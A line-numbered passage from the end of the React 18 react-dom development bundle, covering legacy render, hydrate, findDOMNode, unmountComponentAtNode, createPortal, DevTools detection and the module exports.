29585 false, // concurrentUpdatesByDefaultOverride,
29586 '', // identifierPrefix
29587 noopOnRecoverableError);
29588 container._reactRootContainer = root;
29589 markContainerAsRoot(root.current, container);
29590 var rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
29591 listenToAllSupportedEvents(rootContainerElement);
29592 flushSync();
29593 return root;
29594 } else {
29595 // First clear any existing content.
29596 var rootSibling;
29597
29598 while (rootSibling = container.lastChild) {
29599 container.removeChild(rootSibling);
29600 }
29601
29602 if (typeof callback === 'function') {
29603 var _originalCallback = callback;
29604
29605 callback = function () {
29606 var instance = getPublicRootInstance(_root);
29607
29608 _originalCallback.call(instance);
29609 };
29610 }
29611
29612 var _root = createContainer(container, LegacyRoot, null, // hydrationCallbacks
29613 false, // isStrictMode
29614 false, // concurrentUpdatesByDefaultOverride,
29615 '', // identifierPrefix
29616 noopOnRecoverableError);
29617
29618 container._reactRootContainer = _root;
29619 markContainerAsRoot(_root.current, container);
29620
29621 var _rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
29622
29623 listenToAllSupportedEvents(_rootContainerElement); // Initial mount should not be batched.
29624
29625 flushSync(function () {
29626 updateContainer(initialChildren, _root, parentComponent, callback);
29627 });
29628 return _root;
29629 }
29630 }
29631
29632 function warnOnInvalidCallback$1(callback, callerName) {
29633 {
29634 if (callback !== null && typeof callback !== 'function') {
29635 error('%s(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callerName, callback);
29636 }
29637 }
29638 }
29639
29640 function legacyRenderSubtreeIntoContainer(parentComponent, children, container, forceHydrate, callback) {
29641 {
29642 topLevelUpdateWarnings(container);
29643 warnOnInvalidCallback$1(callback === undefined ? null : callback, 'render');
29644 }
29645
29646 var maybeRoot = container._reactRootContainer;
29647 var root;
29648
29649 if (!maybeRoot) {
29650 // Initial mount
29651 root = legacyCreateRootFromDOMContainer(container, children, parentComponent, callback, forceHydrate);
29652 } else {
29653 root = maybeRoot;
29654
29655 if (typeof callback === 'function') {
29656 var originalCallback = callback;
29657
29658 callback = function () {
29659 var instance = getPublicRootInstance(root);
29660 originalCallback.call(instance);
29661 };
29662 } // Update
29663
29664
29665 updateContainer(children, root, parentComponent, callback);
29666 }
29667
29668 return getPublicRootInstance(root);
29669 }
29670
29671 var didWarnAboutFindDOMNode = false;
29672 function findDOMNode(componentOrElement) {
29673 {
29674 if (!didWarnAboutFindDOMNode) {
29675 didWarnAboutFindDOMNode = true;
29676
29677 error('findDOMNode is deprecated and will be removed in the next major ' + 'release. Instead, add a ref directly to the element you want ' + 'to reference. Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-find-node');
29678 }
29679
29680 var owner = ReactCurrentOwner$3.current;
29681
29682 if (owner !== null && owner.stateNode !== null) {
29683 var warnedAboutRefsInRender = owner.stateNode._warnedAboutRefsInRender;
29684
29685 if (!warnedAboutRefsInRender) {
29686 error('%s is accessing findDOMNode inside its render(). ' + 'render() should be a pure function of props and state. It should ' + 'never access something that requires stale data from the previous ' + 'render, such as refs. Move this logic to componentDidMount and ' + 'componentDidUpdate instead.', getComponentNameFromType(owner.type) || 'A component');
29687 }
29688
29689 owner.stateNode._warnedAboutRefsInRender = true;
29690 }
29691 }
29692
29693 if (componentOrElement == null) {
29694 return null;
29695 }
29696
29697 if (componentOrElement.nodeType === ELEMENT_NODE) {
29698 return componentOrElement;
29699 }
29700
29701 {
29702 return findHostInstanceWithWarning(componentOrElement, 'findDOMNode');
29703 }
29704 }
29705 function hydrate(element, container, callback) {
29706 {
29707 error('ReactDOM.hydrate is no longer supported in React 18. Use hydrateRoot ' + 'instead. Until you switch to the new API, your app will behave as ' + "if it's running React 17. Learn " + 'more: https://reactjs.org/link/switch-to-createroot');
29708 }
29709
29710 if (!isValidContainerLegacy(container)) {
29711 throw new Error('Target container is not a DOM element.');
29712 }
29713
29714 {
29715 var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === undefined;
29716
29717 if (isModernRoot) {
29718 error('You are calling ReactDOM.hydrate() on a container that was previously ' + 'passed to ReactDOMClient.createRoot(). This is not supported. ' + 'Did you mean to call hydrateRoot(container, element)?');
29719 }
29720 } // TODO: throw or warn if we couldn't hydrate?
29721
29722
29723 return legacyRenderSubtreeIntoContainer(null, element, container, true, callback);
29724 }
29725 function render(element, container, callback) {
29726 {
29727 error('ReactDOM.render is no longer supported in React 18. Use createRoot ' + 'instead. Until you switch to the new API, your app will behave as ' + "if it's running React 17. Learn " + 'more: https://reactjs.org/link/switch-to-createroot');
29728 }
29729
29730 if (!isValidContainerLegacy(container)) {
29731 throw new Error('Target container is not a DOM element.');
29732 }
29733
29734 {
29735 var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === undefined;
29736
29737 if (isModernRoot) {
29738 error('You are calling ReactDOM.render() on a container that was previously ' + 'passed to ReactDOMClient.createRoot(). This is not supported. ' + 'Did you mean to call root.render(element)?');
29739 }
29740 }
29741
29742 return legacyRenderSubtreeIntoContainer(null, element, container, false, callback);
29743 }
29744 function unstable_renderSubtreeIntoContainer(parentComponent, element, containerNode, callback) {
29745 {
29746 error('ReactDOM.unstable_renderSubtreeIntoContainer() is no longer supported ' + 'in React 18. Consider using a portal instead. Until you switch to ' + "the createRoot API, your app will behave as if it's running React " + '17. Learn more: https://reactjs.org/link/switch-to-createroot');
29747 }
29748
29749 if (!isValidContainerLegacy(containerNode)) {
29750 throw new Error('Target container is not a DOM element.');
29751 }
29752
29753 if (parentComponent == null || !has(parentComponent)) {
29754 throw new Error('parentComponent must be a valid React Component');
29755 }
29756
29757 return legacyRenderSubtreeIntoContainer(parentComponent, element, containerNode, false, callback);
29758 }
29759 var didWarnAboutUnmountComponentAtNode = false;
29760 function unmountComponentAtNode(container) {
29761 {
29762 if (!didWarnAboutUnmountComponentAtNode) {
29763 didWarnAboutUnmountComponentAtNode = true;
29764
29765 error('unmountComponentAtNode is deprecated and will be removed in the ' + 'next major release. Switch to the createRoot API. Learn ' + 'more: https://reactjs.org/link/switch-to-createroot');
29766 }
29767 }
29768
29769 if (!isValidContainerLegacy(container)) {
29770 throw new Error('unmountComponentAtNode(...): Target container is not a DOM element.');
29771 }
29772
29773 {
29774 var isModernRoot = isContainerMarkedAsRoot(container) && container._reactRootContainer === undefined;
29775
29776 if (isModernRoot) {
29777 error('You are calling ReactDOM.unmountComponentAtNode() on a container that was previously ' + 'passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?');
29778 }
29779 }
29780
29781 if (container._reactRootContainer) {
29782 {
29783 var rootEl = getReactRootElementInContainer(container);
29784 var renderedByDifferentReact = rootEl && !getInstanceFromNode(rootEl);
29785
29786 if (renderedByDifferentReact) {
29787 error("unmountComponentAtNode(): The node you're attempting to unmount " + 'was rendered by another copy of React.');
29788 }
29789 } // Unmount should not be batched.
29790
29791
29792 flushSync(function () {
29793 legacyRenderSubtreeIntoContainer(null, null, container, false, function () {
29794 // $FlowFixMe This should probably use `delete container._reactRootContainer`
29795 container._reactRootContainer = null;
29796 unmarkContainerAsRoot(container);
29797 });
29798 }); // If you call unmountComponentAtNode twice in quick succession, you'll
29799 // get `true` twice. That's probably fine?
29800
29801 return true;
29802 } else {
29803 {
29804 var _rootEl = getReactRootElementInContainer(container);
29805
29806 var hasNonRootReactChild = !!(_rootEl && getInstanceFromNode(_rootEl)); // Check if the container itself is a React root node.
29807
29808 var isContainerReactRoot = container.nodeType === ELEMENT_NODE && isValidContainerLegacy(container.parentNode) && !!container.parentNode._reactRootContainer;
29809
29810 if (hasNonRootReactChild) {
29811 error("unmountComponentAtNode(): The node you're attempting to unmount " + 'was rendered by React and is not a top-level container. %s', isContainerReactRoot ? 'You may have accidentally passed in a React root node instead ' + 'of its container.' : 'Instead, have the parent component update its state and ' + 'rerender in order to remove this component.');
29812 }
29813 }
29814
29815 return false;
29816 }
29817 }
29818
29819 setAttemptSynchronousHydration(attemptSynchronousHydration$1);
29820 setAttemptContinuousHydration(attemptContinuousHydration$1);
29821 setAttemptHydrationAtCurrentPriority(attemptHydrationAtCurrentPriority$1);
29822 setGetCurrentUpdatePriority(getCurrentUpdatePriority);
29823 setAttemptHydrationAtPriority(runWithPriority);
29824
29825 {
29826 if (typeof Map !== 'function' || // $FlowIssue Flow incorrectly thinks Map has no prototype
29827 Map.prototype == null || typeof Map.prototype.forEach !== 'function' || typeof Set !== 'function' || // $FlowIssue Flow incorrectly thinks Set has no prototype
29828 Set.prototype == null || typeof Set.prototype.clear !== 'function' || typeof Set.prototype.forEach !== 'function') {
29829 error('React depends on Map and Set built-in types. Make sure that you load a ' + 'polyfill in older browsers. https://reactjs.org/link/react-polyfills');
29830 }
29831 }
29832
29833 setRestoreImplementation(restoreControlledState$3);
29834 setBatchingImplementation(batchedUpdates$1, discreteUpdates, flushSync);
29835
29836 function createPortal$1(children, container) {
29837 var key = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null;
29838
29839 if (!isValidContainer(container)) {
29840 throw new Error('Target container is not a DOM element.');
29841 } // TODO: pass ReactDOM portal implementation as third argument
29842 // $FlowFixMe The Flow type is opaque but there's no way to actually create it.
29843
29844
29845 return createPortal(children, container, null, key);
29846 }
29847
29848 function renderSubtreeIntoContainer(parentComponent, element, containerNode, callback) {
29849 return unstable_renderSubtreeIntoContainer(parentComponent, element, containerNode, callback);
29850 }
29851
29852 var Internals = {
29853 usingClientEntryPoint: false,
29854 // Keep in sync with ReactTestUtils.js.
29855 // This is an array for better minification.
29856 Events: [getInstanceFromNode, getNodeFromInstance, getFiberCurrentPropsFromNode, enqueueStateRestore, restoreStateIfNeeded, batchedUpdates$1]
29857 };
29858
29859 function createRoot$1(container, options) {
29860 {
29861 if (!Internals.usingClientEntryPoint && !true) {
29862 error('You are importing createRoot from "react-dom" which is not supported. ' + 'You should instead import it from "react-dom/client".');
29863 }
29864 }
29865
29866 return createRoot(container, options);
29867 }
29868
29869 function hydrateRoot$1(container, initialChildren, options) {
29870 {
29871 if (!Internals.usingClientEntryPoint && !true) {
29872 error('You are importing hydrateRoot from "react-dom" which is not supported. ' + 'You should instead import it from "react-dom/client".');
29873 }
29874 }
29875
29876 return hydrateRoot(container, initialChildren, options);
29877 } // Overload the definition to the two valid signatures.
29878 // Warning, this opts-out of checking the function body.
29879
29880
29881 // eslint-disable-next-line no-redeclare
29882 function flushSync$1(fn) {
29883 {
29884 if (isAlreadyRendering()) {
29885 error('flushSync was called from inside a lifecycle method. React cannot ' + 'flush when React is already rendering. Consider moving this call to ' + 'a scheduler task or micro task.');
29886 }
29887 }
29888
29889 return flushSync(fn);
29890 }
29891 var foundDevTools = injectIntoDevTools({
29892 findFiberByHostInstance: getClosestInstanceFromNode,
29893 bundleType: 1 ,
29894 version: ReactVersion,
29895 rendererPackageName: 'react-dom'
29896 });
29897
29898 {
29899 if (!foundDevTools && canUseDOM && window.top === window.self) {
29900 // If we're in Chrome or Firefox, provide a download link if not installed.
29901 if (navigator.userAgent.indexOf('Chrome') > -1 && navigator.userAgent.indexOf('Edge') === -1 || navigator.userAgent.indexOf('Firefox') > -1) {
29902 var protocol = window.location.protocol; // Don't warn in exotic cases like chrome-extension://.
29903
29904 if (/^(https?|file):$/.test(protocol)) {
29905 // eslint-disable-next-line react-internal/no-production-logging
29906 console.info('%cDownload the React DevTools ' + 'for a better development experience: ' + 'https://reactjs.org/link/react-devtools' + (protocol === 'file:' ? '\nYou might need to use a local HTTP server (instead of file://): ' + 'https://reactjs.org/link/react-devtools-faq' : ''), 'font-weight:bold');
29907 }
29908 }
29909 }
29910 }
29911
29912 exports.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED = Internals;
29913 exports.createPortal = createPortal$1;
29914 exports.createRoot = createRoot$1;
29915 exports.findDOMNode = findDOMNode;
29916 exports.flushSync = flushSync$1;
29917 exports.hydrate = hydrate;
29918 exports.hydrateRoot = hydrateRoot$1;
29919 exports.render = render;
29920 exports.unmountComponentAtNode = unmountComponentAtNode;
29921 exports.unstable_batchedUpdates = batchedUpdates$1;
29922 exports.unstable_renderSubtreeIntoContainer = renderSubtreeIntoContainer;
29923 exports.version = ReactVersion;
29924
29925})));
29926